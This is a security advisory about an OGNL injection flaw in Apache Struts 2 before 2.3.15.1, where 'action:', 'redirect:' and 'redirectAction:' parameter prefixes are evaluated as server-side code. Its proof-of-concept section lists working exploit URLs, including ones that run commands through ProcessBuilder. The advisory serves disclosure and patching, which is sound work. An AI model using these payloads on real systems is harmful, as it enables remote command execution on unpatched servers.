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Summary

Problem

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

Proof of concept

In the Struts Blank App, open following URLs.

1. Simple Expression - the parameter names are evaluated as OGNL.

   1. Code Block
      http://host/struts2-blank/example/X.action?action:%25{3*4}

   2. Code Block
      http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

1. Command Execution

   1. Code Block
      http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

   2. Code Block
      http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

   3. Code Block
      http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

Solution

DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped - see also S2-017.